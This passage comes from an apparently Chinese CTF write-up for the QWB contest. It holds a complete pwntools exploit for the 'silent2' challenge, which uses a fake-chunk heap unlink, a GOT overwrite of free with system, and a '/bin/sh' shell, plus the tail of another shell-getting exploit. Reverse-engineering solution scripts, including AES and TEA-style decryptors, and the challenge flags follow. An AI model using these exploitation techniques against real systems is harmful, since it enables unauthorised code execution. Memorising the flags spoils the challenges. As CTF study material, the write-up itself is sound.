program = get_shell(ip=IP, port=PORT)
#program = get_shell(ip='127.0.0.1', port=17001)

program.interactive()
elif MODE == 3: ## 取回二进制文件
program = get_shell(ip=IP, port=PORT)
program.recv(timeout=1)
program.sendline('cat pwn2')
program.sendline('exit')

recv_data = program.recvall()
fp = open('dump', 'wb')
fp.write(recv_data)
fp.close()



if __name__ == '__main__':
main()


qwbctf{talk_is_cheap_show_m3_the_code}


silent2

考虑 fake malloc chunk进行unlink,修改got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python2
from pwn import *
from ctypes import *
import sys


def pwn():

binary= './silent2'
context.arch = 'amd64'
context.log_level='info'
context.log_level='debug'
elf = ELF(binary)

###########################

try :
libc=ELF('./libc.so')
os.environ['LD_PRELOAD'] = './libc.so'
os.environ['LD_LIBRARY_PATH'] = os.curdir
except:
libcs = [x for x in elf.libs.keys() if 'libc.so' in x]
libc = ELF(libcs[0])
############################

if len(sys.argv) > 2:
HOST = sys.argv[1]
PORT = sys.argv[2]
io = remote(HOST, PORT)
else:
io = process(binary)

############################

def ru(delim):
return io.recvuntil(delim)

def rn(count):
return io.recvn(count)

def sl(data):
sleep(1)
return io.sendline(data)

def sn(data):
return io.send(data)

def uint32(x):
return c_uint32(x).value

def sint32(x):
return c_int32(x).value

def info(comment,addr):
print '#### log ####'
log.info(comment+':%#x',addr)

############################

def free(i):
sl('2')
sl(str(i))

def scan(i,s):
sl('3')
sl(str(i))
sl(s)

def malloc(n,s):
sl('1')
sl(str(n))
sl(s)


def fakechunk():
arch_bytes = 8
heap_buff_size = 0x80
#node1_addr = &p0
node1_addr = 0x6020C0+8*3
pack_fun = p64
heap_node_size = heap_buff_size + 2 * arch_bytes #0x90
p0 = pack_fun(0x0)
p1 = pack_fun(heap_buff_size + 0x01)
p2 = pack_fun(node1_addr - 3 * arch_bytes)
p3 = pack_fun(node1_addr - 2 * arch_bytes)
#p[2]=p-3
#p[3]=p-2
#node1_addr = &node1_addr - 3
node2_pre_size = pack_fun(heap_buff_size)
node2_size = pack_fun(heap_node_size)
data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
return data1

malloc(0x80,'x'*0x8)
malloc(0x80,'x'*0x8)
malloc(0x80,'x'*0x8)
malloc(0x80,'0'*0x8)#3
malloc(0x80,'1'*0x8)#4
malloc(0x80,'2'*0x8)
free(3)
free(4)

malloc(0x80+0x10+0x80,fakechunk())#6
free(4)
scan(3,p64(elf.got['free']))
scan(0,p64(elf.plt['system']))
malloc(0x80,'/bin/sh\x00')#7
free(7)
io.interactive()

pwn()
qwbctf{sorry_for_all_the_troubles}


Reverse


picturelock

this.enc(v1_1, this.getFilesDir().getAbsolutePath() + v1_1.substring(v1_1.lastIndexOf("/")) + ".lock", this.j()); 第一个参数是图片路径,第二个大概是输出目录,第三个是签名

enc在lib里面

600C储存签名

sub_1A48的第一个参数是图片路径,第二个参数是输出路径

Signature HexData :

f8c49056e4ccf9a1 1e090eaf471f418d 找了一下,似乎是个快速aes

随便写个脚本就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Cipher import AES
sig = 'f8c49056e4ccf9a11e090eaf471f418d'
f = open('flag.jpg.lock', 'rb')
aes1 = AES.new("f8c49056e4ccf9a1", AES.MODE_ECB)
aes2 = AES.new("1e090eaf471f418d", AES.MODE_ECB)
i = 0
res = ''
while 1:
length = ord(sig[i%32])
t = length % 2
if length < 16:
data = f.read(16)
else:
data = f.read(length)
length = len(data)
if length == 0:
break
if t == 0:
res += aes1.decrypt(data[0:16])
else:
res += aes2.decrypt(data[0:16])
k = 16
for j in data[16:]:
res += chr(ord(j) ^ ord(sig[k%32]))
k += 1
i += 1
f = open('flag.jpg','wb')
f.write(res)
f.close()


simplecheck

程序读入一个字符串,把内存中的一些数据做解密,然后对比。

关键代码: if((a[i]!=b[i]*ans[i]*ans[i]+c[i]*ans[i]+d[i]) or (a[i+1]!=b[i]*ans[i+1]*ans[i+1]+c[i]*ans[i+1]+d[i]))

根据下个循环,可以得出一个一元二次方程组,来保证唯一解

flag{MAth_i&_GOOd_DON7_90V_7hInK?}


hide

dump内存,丢ida f5

调试 catch ptrace

发现真正的验证函数

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
def decrypt(data):
delta = 0x676E696C
rounds = 8
key = [1883844979, 1165112144, 2035430262, 861484132]
for i in range(len(key)):
key[i] %= 0x100000000

summ = delta * rounds;
v0 = u32(data[:4])
v1 = u32(data[4:8])

for i in range(rounds):
v1 -= ((((v0 << 4) % 0x100000000) ^ (v0 >> 5)) + v0) ^ (summ + key[(summ >> 11) & 3])
v1 %= 0x100000000
summ -= delta;
v0 -= ((((v1 << 4) % 0x100000000) ^ (v1 >> 5)) + v1) ^ (summ + key[summ & 3])
v0 %= 0x100000000


return p32(v0) + p32(v1)


def xor(s):
ret = ''
for i in range(len(s)):
ret += chr(ord(s[i])^i)
return ret

def a():
s0 = [0x52, 0xB8, 0x13, 0x7F, 0x35, 0x8C, 0xF2, 0x1B, 0xF4, 0x63, 0x86, 0xD2, 0x73, 0x4F, 0x1E, 0x31]
s = ''
for i in range(len(s0)):
s += chr(s0[i])
print(s)
for i in range(3):
b = xor(s)
s = decrypt(b[0:8]) + decrypt(b[8:16])
print(s, len(s))
print(s, len(s))
a()
qwb{f1Nd_TH3HldeC0dE}